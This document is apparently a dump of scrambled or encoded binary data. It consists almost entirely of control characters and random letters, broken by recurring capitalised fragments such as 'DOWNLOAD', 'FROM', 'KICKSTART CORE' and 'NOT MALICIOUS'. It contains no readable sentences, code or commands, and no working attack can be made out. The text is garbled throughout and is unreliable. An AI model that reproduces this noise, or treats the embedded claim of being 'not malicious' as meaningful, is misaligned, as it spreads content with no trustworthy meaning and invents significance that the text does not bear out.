AipF^hg}]ay@zB`jbzAOT0 M<DI	%+FOGhe`j`f|?O]5HdMf~gefhC}O{fdHbl0/A<1G"|@SbSccjbz}h{}Jf'b`ja@zGf}DhSIASOWyPf|JhgMf~gVOC^k~O{fdHbllKAoOjTg@oPf|^h~]a`z@z6cjbz}h~Jf{l*bcLGi9!m  C	U1
U.&
N
:T25 NA7
"==O>T7( gcLDST4wi O? GezPf|5ANdRW(h
&E_\yODIfd@oPPUuV^a`z@zqI
~h{}Jf{ZwJ?kSeO,LBC0m-_L@3Fi_fhKNE@=*MThO  =O^wCV^a`z@zBSCIVAYT3 >	M& GVaCEIHIMQbe|Jhg#NQO'}xfdHb 6T5Tg@o$e|*kd[{H i#C! ;/R!#H:S   m	CyU0-
A	, .AaA-T,glSf1AF -/S:,%] -.HH^UiQ(.KFz"e|J0WNLOADiTfROPaEEBAk@T7%y w&	
,k	  7$b`jak/,MNmC05KCzPfWL~OU20CHC}O{M1/I_E@=Voed@o{3u[NV4QeyB`jI/CHTa3.uDcja@QMVwAN5?5MW_Sf|JC2MMNN3=8VL{fzall(2!Z0 >.AST2=$CCoO  ' ;_n,	@i`fyS@Zc5!O ?R5
B%0Oi8 2A0Hi;
R&4OH(*O#A  5eZlA4L (#
mKA6
 6:F8O?. T gSK 
 E4	C
,S/O8
\vO+ d L%%O  Md ci+.At ,CR*E$=S:m
	GeZ\y.U'%L%%M,d-O,F)!
0FI&:kKR3 w	$:
miF@U+ 6dO( fM, B%/M;85Z^b`z@*CH~h{}$EwHI^HkQue}DhSdOWaZdN@XN%	A!f"E%7
i*Ow6_i*KA'
w'n#  S-7kAkOA9%CKallk"O\7,	?O' tUTNiQ%	C[~Jf{]a`ja/<O\$AQISROSeO3 !TWLD\Dx]L{fdHolkhMf-'yDHwCNVob`z@z6ciD\T(T7E$ i/ IS8O7*[NA *Ra A%T7i79N  .]Acjbz	k{}J
2H Ha7"LSdRHcC0 MHn@}O	edHbl! cRM:8lkg}]cyf\k K cE6H%-
aACyc N"
i4Ra
je[lO"=<>Xt&kKmexl^aiNn=
TzPf%AF6
iR`R1
B!";FxRHwC:&iIEMy}h{}k2C,"(LH^TOW; Lddefhm@ ?
'K %1A,>w@SItJ$.ABZ~h{}8e{l^a&n:A)]Q<:O0 k]}xfdHooMNd"(
M(F?2A;I+.
K*0Hi/(AU1
U(d NNMOnf[f 
4E	!O&%y w=/
"KR" ybcja@+?LGWQuOaCTd
Mr~O{VKbohkk@T
	M=<O?. T;
*k T cw in?	I=CU$!OL g~L{aC+	T	<"H)$NUiUIQ/%
C[~Jxl^":,&g/(AQI0 cI!BL # FgHbohNkO +
M9+w <S= KT7O3HH&:#  I<U% 'CA'f 
4hNkOc%?
>T"	,S"CA;R$HC('T2#'C
weJhg2NTkn@}O"
A3(G&
=
{A-Acz@z0ciD\T5c	<H!*O>AOy 7 A(-R$K (-M:+#tyf\k
T*	6 :S-m	I]Se|Jhg2NTkm@}Oa^okhMf"M?5w\N;;( 6H~h{}JE,ShIT9O5c\SyOU=VoxfdHbokhMf}% iN2O9A8ZCzB`jb~h{}Jf{1HA,
#-Z=w0.*?
0Z%i	hOjFg@oPf|^d}]a`z@z=I^K\52DIAryGf}Dhe`
O]yNH~A* `~O{fdHblhhMf}Jfd@8 2:)tUIryB`jbz}h~Jf{l^a`:Df}Dhe`je|zPf|Jhg 

A(34PolkhMf}Jg@oPf|^d}]a`z4yB`jb~h{}J"C,'?OG51MN/
BL <oIedHbohkk@T:7U? 1S kT$
Kw!C!n	?IuO&A!
A,2KDJE7-'
M*84'H=kR& 9Fi9/ O7&N)L	;%
2aJJB*1*5Yw <S:'A/
9I ,bO?A>O+dN i(&KohhMf &iFyOUwANTtHISiSkICKNT2*M#AryGf}?36m7> 
DtTvIedHbBI6+'.+  $O'A,?@Jaz}h	~Jf{l#HtS:
9Oq*Hi3(EJ me}Jfd2lPf|^h iQ5IS_k{}Jf{lJYSXyQnDT,O,<.kQGj=
.\wDFDo	lB@jTg@oPf~Zd}]ayC\dI*S 	T0

9I(+CT:LO<O&di# E 6
0'y6N;yf\kSY	<=+w, Zm6	I
U* (N ,(M6BClFVc-F{ Cd[{H*>KT E4	i .  CU7Ua\Ldi2R/K!O6=6[]NATS#8CTT0 {HH> T9L
y/A*
	-T  2EooMNd8c%-O?N1-S8T ,OFE%9S!?  U7O16OL"T'  /oJMA'3 >O9= '"KA;1dR9I0	/<S>AS<*7AW(i#x@Ba  '
T7i,
 ;w?:kA7RGJIK	i!Y2#'C
8&GjO$  eT1eBnK %c%F*'T"	,S?A7RG
JI  (/ (GC==CU4N 

A%L]@M. B6(
:F-#A8ik
Ac:	Ii& m	
O<O&jO10XL]@M6E	/O ,O,y6N <I,* A"#H(+O#I* N+WL1MA;~i]OOmIE
AfUVc iD"MU8NV)JGS k
TT0 ^E# H=+O (I
O?
U%d
 Akn@}O	Miallkh6+,g<kg}]a`,?cjbz}h{Z1
	6K1,:aAN)A@e|zPf|JO!
I1+2$GEG?Cme}Jfd@ow'1@$GSVC[~Jf{l~b`ja`yGf}6kfFLI&S-c-N ,T1O2E
d
"M/7> T I&; S 	T7

wiD@[m+:)U01
OD#RMcK
%1O:F*= tS(S8c>
0ya@T$L#&+7[N-WA,/Oa		

d ci	;4N=(eI4Sc wC\aO#AS- U&)
A!f(je~Jfd@yRU2|JAQiXkTJRVjM[^]bFLH n(A  5O,0WeT1O$2
:O(
2O?N1I =>
MR"9cLGi/mF,
U3 6OLA,/
a- c	;F) $1H(8-Axo^a`j,;mI S+
*6OJSQOC<%/ILokhMf}|O(
2GuCTT>ESkQbcjbz}hHT)Txl^aibf\n&mC
yc0O==#!A(5-IE	!T"O>0-&H  i#Zkx}Jf%C,n<#&qM?. j
CMr~O{VKboImFOIegfLseU}A/1i8"
~cER$9H())^> (	C0c0
i )gaAoEHA .yOU<'=ykCC+*w+;) mI@QY_M^k_GvA - DZf6/
10OBi'2
5 N8 cScS
TcO5+H.,/T

O9:
0N2
 DzXfM-
 kdE[IeBcLSO_w3 ! i#C-Ow!;+T
S6U"ACueWDLG
-%/E
d&O/F8#	t
> .JEyTKxTiO22iSn9IO8 *U57 L DdELREBK- c=/7% &.5kFx]ai8OImL]RCF@U!< 1N2	O :+M'
	!A~JiN7> ;G9SI\RV8i: ?	C,61CGNfdef;T3OPa%1A:+.2O^a`(kKNTc=KJ *Te:\DZ4D_$4)mQC}2^@HF`OL{f'KMO! G(OyNHw8Acz@A`jbAOT3 2.	=[
GGXFNyPfIhNf
i0IeKa0-O,621 <@%%Z~x}% 9	HiNn	!A) Ff3X2CCHiV]MDzald1i[y	; 9G 9"KI\VHI~JwHiSsO/Zfcj Sq1AdRW^WODuT62E	 0OcFbOSf]hg5I(?I^K/^]b`j/Sf?LT^TOW]{FJhNf~g  3TgHbohhMcG(-OHj\NVzFKZCzBibz} mARib@zG#TzPIhg+@a' DzalhkM7'F6y:@K\kZpcay[KxTiO1
"0S!	T)<IBXS13[AkO;LREM7
T?!eF/
$tZcSc\Ac-O % !,	AXCUkCU,6FkC}i]O/,,+B3+!+,2Sf?Z$ ,# kICKSIA*\?6	i2O0Zf`])j*98LRA!5\14L$
9T?M2be|xNN1,I!7''*= k{[lO;'	'tO"O*U!N-3"Ra[Kok%T*OMiFyOUwANTiHY_CzBCKSTARTcOREjHYOb@z- = CIOUSdOEokgM@XNA	(5R9A'$c;0 $At("SR +
B%I: n,LYMcf|\vO%1N'	0T"	/E	!ci%<0z2+:!=:6eI*SR.#	H=Df}bNLS-0N%W 	  #O.Kd&M*7O8T6;k/O % :yGf[bAIS0	U-N(
	D>4O) B+O&'F.?Od}]GFSaB*TTOCE6CTiB`^T/I]I^/^\Ihgk@W'
O D'(_, (O",F:pN1H9.CT0O5OH n.e|zv@UnVN%WA(3AgHbBAdOTcOMiFdO]hg}snIkICFEXk{}JH	' DRi^{C~DheNNUUSyOUnTBNf~gK(S|RO@uGolkhcSyOMiFyBA{kg}]O;0nIkICK^GMx}JfU4OSCHiSc\XGhe`DJHOSyOUcL\he~geHCsTfROMlZIokhMH/HWiFyOXfkg})Dcz@\dI7A-8I%nmU6O1%N	i# .E1-CCoP@Zw(T&(.CTCRH{HiXn9	LC ]Sf|lNNW<"O/E7
6
*y w6 f$KT' yb`jGfST?

S*
6 '
N	A & 5R5EB-/
M-	-A^hA[tHIS?9
+3  O]MFyTbOSyO\NJIRHSie|JNAd&' |R.M2d c_M%7?A 1S=kK1win!	cj`@ZS<-A!N 
i(R$*T5<ywT|E^ZeS#T:_LAxl^GFC!=T=O!I
-7A+OO;6R  B!6i	?O?Z^a`\fSkI'	@nTbOSmFEI^TODyPf1
 DtT 5
BI2F~JfCoPfw\N\sOIXibG k@):EB>G._nHZjHWcj`fSdOm4	GNL*h.0jBJNAcAPrAJ`H+
; |G5]2AgL_TF\SjTxl^a< O\lByPULVOMNA%2ZHCfBL^hhMXIfdfIy;>N;;8IK,R8,:O "AI+AJhAkO2D*+ $E ' &MyHSf|xNN:;D<.
A.2C
,!>AI0c)Behmf[f< $d.'7U59S 8SR-O#gyGf8:yOHc*AL?]L{fKbll0-OL?FfOEw[N\='[=@CTS)OwE^CRi/((KCUBiF\xkgMLdePDiTfROMaKEEBAdRT390<> \"Y@HCz=[CKSTARTcOREwHI^H9+"( GApTJNdOWNLOADiTfROM|K(	j;GxH5
0Xt[]%%ZOk{,RM>HTCXrS'OHmWI
BD\yPJh"O_]49iI{R_8LhhM~Jfd*	79O^a`CzBR0)AOT-32
'[8^/$<ERi`fA(c\N*8	&n]6(6L^hhMcGx=02UkAF4ZCzBibz}3  wUINYryGf}/	Re|z$e|J7
W
OIx///OSaW><me}Jg@oP:1HTSxHA`jbxe{l*b`b@(O\lpe|8kgMD*+$PolkNf[lO$$66Nt;?KA15*_6&:*< %A~DNCIA' U)
"6MW	
i )Ra !T"M%*U#	^aF\i2%C T52I,nmIy	 -- N
;f-Eol-+OE&<#]^ay@z(SS_UNIf{6CO.iU~DheyG,%NROQMr~O{2EB\\cU~Jf(<OR0IN^a`z;?S\3  wVTCX`HDf}. CNSHTce|J7
WI 
F^C}O{5BI' 3,FeRUgHU~]a
:kN^VTNk{}  wOTDRCzG>LNHOyPf|11ND	94OP|VEUKZNf} ,F~SKp[d}] ,SlH^LI~h{"EpDRCzGf(IG41NeRJN\FZn@}%aLB_hhM0
MnZ~U^h'IT%lSibz} 6E(+OHmQERi`f? /TNf~g
;f-Polk9e~%*0 w+50[& +je	o^H"7OTmALICIOHS{MNIh%W		''aVE',Ma 7F^d}]i*KNTI](E9
'/=D\=5G4D\/*E)kNGj
G
`OL{f'KMD )
]Ifd2lPf|%&IQa2%]aTxl^cja;:#A4D.be|>ZdNfLG@	 #0 LokNf}1
<7O6ob`CyBFLK11&;:c=7!&-"&yG$B0 yOUcASdA9+,O=KYkM*C9)0$O=HTS="M>mwC4HDf[bA)''I=07!1/:Ne~
OI0#	M, >2cRPtF{ = vAcz2yA`jTI*\?6	g /o	A3
7/7.FT`TOMnDE6- c,20A&H ,IK9' #H(
nG#I 
y*N3N	km@}O{fdHbllBNkO"i7*$\s# e50. 6DDiCgO "A .O!'NA;'DKbllJkMf}JG!*A?1'F  (iO)
$)";7VO  *8 &O+#	":fTIgHbllk,m993[>/v# e50. 6A5g!!>
[6#4DFAYtIfP 'ILENf}Jf(*
<9F <]9;6	]/a=G
#--QA,(0 HiEv[OP|VEUKkMf]Ifd2lPf|%&I .<O0 ;7GV!M\SIUlNN
 N I,3
 		 B!6i	?O2 tS99S0e{l^aH1*0,B-<0$ 1aV*
5GLBGbO[lO> :
U>N#I;;
XAcw,/(ML I  -O&ANf~gefhm@}O{fdHbEJMA&/@ y	 9;cz@zB5:"M:/Z.6\c@SyOU=
.V}R@Ba 
T >G\]hg	^b`z kA-"\6&!?@i`fyPf|%dGO
i/

	KkMf}8ed@oP@Zw"7S>.Tc 2C ( n(A
<U34
ehm@}i]O'K
Mdc	.+
U>Iti%I	T*R?I' +O+AIX* 0A(hxfdHbBI"0
Mt[dO>g*,$&A`yGf}Df`j`f|< 1N"	Tkm@}OedHbokh9e~JfBfF
3A
' :$C
NA 7HJx']87
w7N!  K(2$D 7*(! :6& ++" .Gcja;:#ATz$eJ0 L	 :}xgK- c; 021,:[ GS [o,b`
i[o,CU[*
1j * ) OL|VE$%TeIM:8?O:<?KRI\R;!#A@ia2yGf(I	*
NIhNf
i#O/K 'OIgC ,#t
 ,*CXc1Jb2yG?AI^I1A&%FC1ON(i.30nIE@CmT~JiN-2\' bI^VSV*GwNOC
g ;9DM
-UnA1	A'2FM|VE"jed2lPfw\Nz:9ASGSO-wEI/'Z!FNyPJ0 LZn4~L"
A*!
 66F!;_k oO 47'bO %,*
jkNfODtT($IEAyO0!N=
>'HTS?M
I ;@JHvS|ONm	

 be|5 dWSL)aVXE 
*-FfOW{CNNt$ H~h1OEjH< />>IRHS,&*
NSOCJkT|R.70&AiyRU9ARTdHVSk^iIYKQVZx}5 E>HTC(=
=#DCTO8-["lDNAT`Z2)9MHmO_cMOeF3OHwITiH ]%%ZT_RGcPRwMIPHsS~T~GhS*O^cIdPWB: 4Z_AaLEIA0ONcMO`FrOy'[#ZA`jE 
ZJ4[4ZfPIEFEOWWhMUhAmO\NDA[ifYO  K7GcBM Ow0@
Zg '  [FHRNcMPLlbib/  $I ,? . l		,]L	ed(EM(
*iXdODgV]C`YQA}ZA`az}&2HTC<,
]00!OXN]_VW~@wJ]YmKWIBCjMXcMO`FrOWw&,Vob`Cz.y}x}JE :4
Ts\LXS]W@DoFJhNf~g
:<OPa 60, (q	;.I\iB{][^DBMRFoOPKuDIAJ`SeOVm,.KXcf|Sf|&!e~gehm@/
( E_A*!
 66F=  	.ILKBDSFXc]^EuFKOHkQgO_mCL"!KTzPJdMD/*;^okN@^ieMcF4
T=Ii*

R0O'MH!T9		I[*O*%@fOKKC3(E4k1=06G~/b`(kH~k{%OZ>7?<OIp\LKAI	yPf* 0O\YtTvRKbl!+5i[dRUuQLT(cz@",  T~ROE9H5Df} 6yRH~A%Ln@}2.E!+5i[dRUu 1 ,icjBy}x}J"C;+T~Dfcj 	U[-&d	>(fORMc0M]IfCoP	%AF1I'S& +je{l,b`ja;:#A

NyPfIhg6
A;#Ied<aol0-O(
*
N]d~2=$C\0 Iw%=]Gf`LFO&+0A, ,T    a B!-'y w N  .yBFLaz[NR&8SCYyCvAEzPTcjF@U06dTL9Ni]1K#@6=6x=ISiSdFC@STA*6IsS
$LO/75 e~ACOI= 6H@B*O29 '/
3O  AIXiSkICK c_w-"+ (LBCIO)5
dTL$ fa1
2
'edfIyG#N{G?%G
&	3F`SeOTm yyA!*N!$(REMaKEE%/
Mx\y%\sHISi8.
S T 2Cza@TjHWICIOZ\yEUcANdiE|RH&$B%T '/
3ANTtOcz**  AOTb% iLnMT=5Y_4C{OOcI,DbTdPFC3	!G[k41:3]H2ZW5\Y?/_=V(3H8~GOHkWM]vkeOyOU~A !W<	$9\d,4Oa@E
 60MbF{2^uMNV3J@HCz9AZ7RNwJKJF;>.DEOWQpT>kd"
i4 l3+F,kg[{H=qFL Z58,*A(f`LFO^SyO1	-L^i?#aB;+&%yG#N{G?%G
&	3F`yG@[mJLIC 6'A=UW##f%3kM@[cJMiFyOUwA  IBsSc $Hi/!L
*e|lNNnOWNLO(6
MpQE%+0/q4R:OESn*DGSS;-
 ;N>AryG@[mKLICIO--NuUWI'
'SLxf E4TcOMiFyOUwANTtHISiSkICKSTARTcOREwHICHiSnOTmALICIOUNy	/he~g=T{R% CT3MtF{MYw = kTCD-(V[oO#7
HtSc^XGhe6 
  3(  OADiTfROMaKEEBAdOTcOMiFyOUwANTtHISiSkI^K * E	Di:CT&@i`fyPf|lNN 
L!T5 
Md
Z$AAi?O9:i%S@A'O.HH::O9ACYCU,UsA<O=4Ra

Al&g@oP@ZwT=
,.KR6 &i[==I +
7A![N,T1O$E7O",F;
8GT!%S- S&[o^a`
i[/4CHRHS,&*
Gffhm2~O{fd7
E4OIcrlPf|^TUIBryB`jbAZ7OOXjH`yGf}Df`j`f|-O^~A_e~gefn@}O{aKEEBAyO+ *  '( = a9OK MR&[^]a`ja(<49<LTC(-ZdMf~g
=f?ZNf}Jg@oP#tHCzBXay~hcG'";]"
*I^TRUCpe|8kgMD'*TgHoldG-='+[;   IMiCbcjy}h 7 w=2<Z>	AFNyP>kd"
i 4E2IB,/=OS^t=8XAT~OBIwI^HyHDf9LB^IMWHSe|*NlN: oxfKblJMA 
"=F5#kg}#  , ; SIk{}JMR994?D/=S5GCi_)6S^t^+^_QVtB_^WURUFs_Xk_Ea=FdX^/<A{Y[7FQBM@Ug	5ZyC,3Q^Q?]EA`3 pQ^tMLdekm,5ed:allMNd&286w S%8ibz	/wCTCJkHDf}:	<OHc%O,*iDM>>:2(k3DHP)x=D(/4/b/o5=7I)H]oOPAfJ@Xb@De}!AQI[<7	UNfOIiIfBTM(KYEZd_hFg@Sf|>N\#  , ; ]; M$M!<. eE@CTRHSt^\Ihg?e~geiIfo6$G`]Sf|^5Ry@z6cjy~hT~O%F.&T~DCAUNyUnA_ONRRATrT/_BDKbokh-	Tk <6Z=1<-AZ1.M>A@CUtNnBEdke`cf|z*c\N7@=/EqGEBJd^]xed@o;6
U~]ay@Acj  c#	*`)&Aw"/0GGGEO\YtTkCORaB[dMVxeCl?4:H;26Z]IxlxGI.;+T(	S?.A%O ;?O/
E!O10lP@Z]hA[t:$YKBEQAZr]CU]aFLH-=>LSO-OlN,B f3(M 6:0 ,>
^NATHIS&"
AyO02C2('Te	S@Z+
7L%BMC}i]OFaKE"&M+cO;6~]GFSbSkI
R:UR8iaf\nDTmA=O:[NO;$4RG5_MN&7@34y]^aF\iYkICKS3EfRI;BnRT6CWIyM&LhOGTL]MDxNfFgHDJEHAdOTc
()wPTT5AiNkSQSV PXc^HEu
KOHk!?CVIA7MYcC,NUAF='
.GNAvUTwg@IvO_wANTt$'CZIT  "-2@(<^Xm Q@e|\vO_cANdO
:TwHOc
	fUTa,7MYwQTTfDIBsSECYITCVoOA_wJADiQ==NSCK)
,
fCWZVOUC}i]OGaKEEB<3iTcO%_TiH2.CzdFCASTART&'CZsS/AQIXUUQ="CNfXALEADiTf,	 BS~O1094
0F&X_i9QBy}N]TiOREwH< T[LSSOW8adML:TfRRM O47 0<A;z%[*jCxl^'+nRT6@cj`YS3OUc\NtC}geADiTfRRMqGolk!51MtF- 2Zd~]i["I^KCOATO0G':OmGBJcfyPf%AFeG:T/  d.1`OSf|,kg}]9I^Kxe{l^
	"HDf}0keicfyG&/6^dekm@#.3KXE9<e}J	;FqUjA^OtIOi9E +TR|C@ia@Df}D	"UNy7 6A a46(6L^hhM~Jf,,w HCz6cjA cRRUlbcj&nGm\LYOISdOExAdSWJ%(zKNIHNfIfd  yG%/=5I' ?R51~b`jCzGf"LA	IRUCbOc]N%7<J%(zKNIHNf}Jg@oPf2!>3
bXI^K/*2)
Scja@Df}0ke`yPfIhgM	LG
D f
208KkMf}8ed@oPwI32]#$1 3
 .@JACzGf}6ke`j`fyG"!&DMDxDoRDMcIEX_\d]Ifd@oP^hg}]a=<)8_J/T~O02
5T~Dhe`je|zPf|&!e~gefhC}O{fdH -.4OPi+3/?5Ry@zB`jy}h{}>e{l^cja4yG~D	U<:!UN}d
=)O3=-	k;WpewNAT1'f
Y/ w%/GhCFCI :0A0UW^f[*5Kk3@;8*3{b`\fS$
 T!HE
i/T
yG7~@XO&]L{@Ba2
csF
=Ty@\dIC'OmH+=n5 IKc@Z!0Zg#[ednDEEB<3iWcO% /[N(UXcH9OECO ; D4CU(~-FBdH-,"U2DKbJJBAd7'y^Ow^Ns# liaz  T1
$%I^H2ue}; ISyOHc #J%(zaldEcOMiFdOWuZd}"	S SkICKSIACOIf%HCHiSnOImCNRi`y1ANdOJNZnC}' \*XA" cGxF0U6E}b`CzBS\RIc^IE>HUC	;"TT$JG@i`fyPf|"dRW	,24Polkh" cGi7O%G~]a`CzB`jTI148wUT^H(<^/&P1@i`f|z"e|JhgM@XN%	A=T4)E
6
Xci8U10H i?IR-
R%Di !O ?LU8 &kgMf~g  3O3T7T~Jfd@Sf|^d}]a=298 B)AOT" TX>SCzG~Dfcj
+U1Ufknf[{ORP|VXX_\yRI~RPt[dRHj\SIiUTNtNvT^VNI\OI~ROXjUT^UtNsRIp\QT^TRHNdRH~\SyRJSQR\YC[iR +L
!c%?;kA[iUTNtNvT^VNI\OI~ROXjUT^UtNsRIp\QT^TRHNdRH~\SyRJSQR\YtI{ORP|VXX_\yRI~RPt[dRHj\d~{GI5;&IH[l2;]# $ M\<X2A  C8f>'>"N
&'<@2;87&#(D<7@ .c
i[o 'M
 peIh!&A
0fOOE'+TkFM2lPfW"T'*iRibz  T+* 99<mAQI,-A1+	A	:;1?. he}Jf( #$ 9*iSvIBC ! 1mH%gA?<  .%DM 4
cBIokhM-('4UwANTtHTSyB`jbQ ! 1uDcja@zl<0aMdMf~gN <	MAKbllkC,6%Vxb`z@zi ; :*1JEia@zGM?<  .%NCkm@}OP/0 aed@oC^hg;6'&/T~O
9,$ `#Xce|z+
6 d	 'TnhKokhMcG0< wtITNiQ$	 CRReOZ.i,Tl\QIA--CN8WAYtIf-BLokhM~Jfd@1 A #H=
9\C=)
yi/(LIt )0M^Uffhm4~L{fd7
E77OPi=CU'xH HCyB`jAZ1 E>I
#ZDf}Df`j`fyG"!3'=h-C
Md,D`lPf|^d}]a`z;8]k 
'ARia@zG~Dheicf|z0	Uk	7+ *$63FgHblhhMf}% iN0OHwQUT=HUS-%&>-lH HC`yGf}Df`j`f|?O]+ > ; ?\-M
 hO,,3]}b`z@zBibz}h{}1
;G:f#).FNIhgMf~ffhm@	L{fd<allk!1M;*#Zd}]Ry@c@JPy	kx[iExE}H(,/O?$yyEUN%66A,#O3d
7*0 w8bIYCSaI#
&ORE<
=<~mKL) 07A-+	i\%[]]qSHWRSqO:*&
8UON0=
:;A]T 5	I/-ynET
SyO24N
D$a'7
T5
:6UdMN&H=9cCA\~k&
y;,nRT6Wci;[0
@ $(= E_A" &yG65_i$ HxIIo]	+`<>	M ?"+WSLkm!56
*
,0*=6Ow'Ey@(>!8[RTcOREwHICHiSnOTjFfXc<m27B (5ROMaKEE_A?e}13#OwANTtHISiSkICKSSF^~J
 8*%/wALICIOUSy  !);XL{2
~OTcOMiFyOUwANTsOEy@97 $&_wHICHiSnOS(-6Rokg!+%!?
2
 +~OTd
;	++6TCpciDY^kR^c.E2$"T>O+ c	*CA <6
ad0.*O8A&CSacCAS4"RE2iSmO*$N7kDc[L$	K17.A	, 8#$;!''KNT 
9HA;<F~6ke[{.c6 ND&%$9@AoO1;Obelkd?(]O1y;0// CTO
&'*ZnC[lXeMkK5 +0O'F%4A% =S*K-R?I	; +T2#'C,[IADd	 J5
 o7A5)4O$A1I:S?K2> *T3.H<1$gynETLS0U-N!, %'Aa B( "M(<
6O='g* Z ,1;"S'T8	McO_yyEU6NL (TfROMaKEEBAdO5-O+<w <H,S:
T "CR yGC	i +,O+cKNAD:%
2(	%cO,i ,#t	
,? SA- w	*n? YS:/
d N,5xOGa+ )OT&&;?HISi2k c2
.S/O$I0c6
Hi'%K
B%6CFsO5' 9HI: RTcOREw;%nmCS:+QNO]N, (fR,
AdOTcOMiFy;: H/9C/wH;?>LA	5UuQmeWDCe ,$A>8 O  5)i[y	 9;I[-?OK 01;"_n
?*:Yc!,eT2.LhNf%OE<<,4	3HTNi>By}x}J 	
'nRT9XcfySfZlA9!Oi'M5E7T7i82kg5I&kICKSTARTcOREwHI^H'9O0,	AJG&IGd@W_\_Q_C}0M2KEEBAdOTcOMiFyOUwAST$	 ,:%KMREsFIo^	g,-%.(ASd"A<"ZG.EHBmO^c^]yVpOZwP^DdScy@-IK7OOXw`yG~Dh   yRUuQ^t_GUffnC}0M21cRg@oP^hg} sSkICI#;2&Voe{l^asSnOTm [  &@4O%#>'=!mallkh'+
WiFy	;X^a`z@*QSTAR"I]a`ja=#
8VI ,YIhgMf:Nf"
Al$Fg@oPf]hg}]aF\i:% If{l^ai+,	I^IMWHSe|JhgM@XN+
D;"R a	A&
,i1
U3 ^a`z@z=KwUI.]'(#KNLVP~FNIkgMf~g	AL?*21E_\yOYrFg@oPf|,kg}]a`zf\k?A7R8I<*O#AI ) 0dMf~gef.T{R$L2= &C:7>1&8\jTxl^a`ja$ )OImF%y.?9N VOFDbT+VKallkhMf%OE,+  6	
iNvIHx}Jf{l^cja@zGf}$LA
8A&:!Y 	:Z# 3(	%cNPi,~kg}]a`z@A`jbz}h{}" 5	G0:+Z= A+   (G.]}xfdHbllkNf}Jfd@Sf|^hg}1CzB`jbzk{}Jf{l^;0// KZbe|JhgMf
dffhm@}O 
4^hhMf}Jg@oPf|2tSa*
,TbROEgAcja@zG~Dhe`j`@ZS"A7O		,f)K
Nf}Jfd@<6TiH .]8I/:'JSCzGf}Df`j`f|5IhgMf~ffhm@}O
2
 B\d$Tg@oPf|*kd}]a`z$8T\R&0G+ :\~HWILFO'4 &A6	O	:fM5 E #-.lSf|^hg[{H.=S$CAc<H,n(Ae|zPf|5 -(AYi#&K	0&'
 qHVtBI]ob`z@zB TcOOE:	.`/KYCU8'>+^UL@ND+a!O"i7O?N:cy@zB`jk{}Jf{]a`ja@z8mIRU9
 ;m6F
(#[TgHbllkNf}Jfd*-wI&Acz@zB`az}h{}J$	HtS/(G04A"0);9#&M7&FVCoPf|^h3HISiSvIZ0 wCIA4'O,[s=U
K/7MUhA!
AOiVSB1 [@ZNe}Jfd@o0	U;*%)  SI\R6L]a`ja@z5e}Dhe`j`Sq&%A$	g'  2E 6,/(2OTjA 8@y@zB`jbzk{}Jf{l^a,/A'4G8m6 -(-Z&B^okhMf}JfCoPf|^h~]a`z@z.y}h{}Jf	o^a`ja@z+"/2G0Ge~gefhm4~L{fdHbl1xed@oPf]kg}]a`\fSS 	T 	5	
H/  $cj`f|z* 7,  "\"hPolkhMXIfd@o<8TTtH'? S\36
{H= : 8@I, me~gefn@}O{f E0OTcOPi4< 2Z&&87 AMT
2M, > >8OOS~HNIhgMf~A	,5aVEB^0-S,7U=S9W\ -LY5F] 'O'9 SORSrO'&!@ <fYedHbllkFdGScDM($@ 	:'.KXTF[H!][pScia@zGf(OHS4
0 	!O\NK&,(M2~OScDM=!&# 'HBSnO)LUTOk{}Jf{2,SsO(O^S~7=A<!? ,NfUOFa9 7Z1
-
#N_tOU;\uNXaz}h{}.
6CUi+,	IHIH'.O&!W	'#HS3D[BBJd&
(H
#Z'	=1&?02@=Zue~Dhe`j 	U[<,-%
DtIf-BolkhMfIfd@oPf1AF?(]O1y;0// CHRU,jkgMf~gekm@}O{fd      j<0$H)6Z1;0*	
Z&0@Xb@zGf}Df`j`f|Sf|Jhg!ffhm@}=xfdHbll6  %8'	`HA`jbz}x}Jf{]a`jryDf+AD,1$HdM}ge
,'\. K 1
&G=,"]ob`Cz.y}x}J 2
M)#6A' A -&HUNf
dTknf^lxOGa8-cM$*0N1,S/ $OwC	'S+"L
wO&,d
i#/KB)"8c.y#	N0%I&"kR^c%6;
9n(LU5 (A,
W
9T51Ed:O,* wI!	0S< SAG;O:18I;<O"	@MI+ ): #O	eANi'O$
!O-O!y
%T0&kS 	T0 z*n m
 S6c'L<6/K/ *i	+O! T7%?yTKR&8I ,S>(MLy 
4O =T/2jeTieMcF% T/ ,C A&&O $i!O,

SseUiA.6
D22 &oEHNN&
(H
#Z'	=1&?02HTC<-"LA\y"e|*Nl	B ,	GO}0M]cQMdWpe|,kg} y@z0cjbzT~OZ2I''#/(D@M <),=0 G.TyMOOcGEG<[+ %DpF[# ,?Ribz	k{} ?HAACzG~DheOHS{G=,"d 
 !R3B%jMVCoP^d~]<%IOkOIe]O}bIIH:O#LO-U7N!	gT
WKKOE
!
"A>0-
y 5F=[.^T32Di/(HfIII<m27B (Z!E$ 0CT39+{A
2	=%*Z~AX~cER*9H, O?U[4*)O>+L^PHi7.   $K]IB'OBoO"9+UfPBT	;k_JKT4	wH=+O,DII+67OL	CTlR
$ d&i6>zH&i'C	1R#H
%S;m I
7c'ND$(-E(T'(KsO#6:]AIIDy
!\6.g/m\LA0 cIGN}gD%5&	aVEUNkMf7 ,FyRU,U~^a=9Cy}h7UR"
&nG!CU+ &=CW`~O{gHblJMA*Tr^Ai6%N& ,8cjbzR\&2M(/9Hf`j`zPf|&)
B (#43 =2T~O(
,
N]kg}]a i[=T\OT-	~b`ja@Df}Dhe
y
&*Y
 , 1<e}Jfd4lSf|^h ryB`jy~h{}l@R,HQC&S_Xm C*
0kgMfO r~L{fd(EM!-C$#05'(kT^VS% 3Acja@Df}DhCIOUSyOUcANdOWNLOADiTfOO ,JoT~Jfd@5
2Z9*:$'
5cRR3Scja@De}DhCA< k+5<MiI{OOJ4 *
dFg@oP^hg}',(">KNTOIf{l*bcja@\aO'9CS/6N-W
A' # -K	!AZmed@o*%5052;;
)AOT52Scia@za@TcOBO<O1,dNf~gC@A'&0a B6 &0F- U3 y$?cjbz  T'+:
:,	I^IH-XdAEd
0Z55CJM]\.Y2DfOw>FSyO@]=7 kFIo]a`j/Sf
(	G11Gffhm2~O{fd$ 0A&,=+"\0	?
	 <.
^E!	`HDf}Dfcj`fyG"!OJSL%]L{fd:allkhk@T
*MqF-8T5I1.AcM ;JCzGf}9cj`f|Sf|Jhg 

A=44%6>4
70rlPf|^h1=]9  1#A	= ?!<FNIhgMf
defhm*2MiLokhMfIfd@oP8/=4(9$<RIc	;Scja@z3e}Dhcj`YySf|$~O&fZ
$ Md,; CU3!%(>Jaz}x}Jf]Jw!,CYx_n)C*
0kgMfLG,#C%
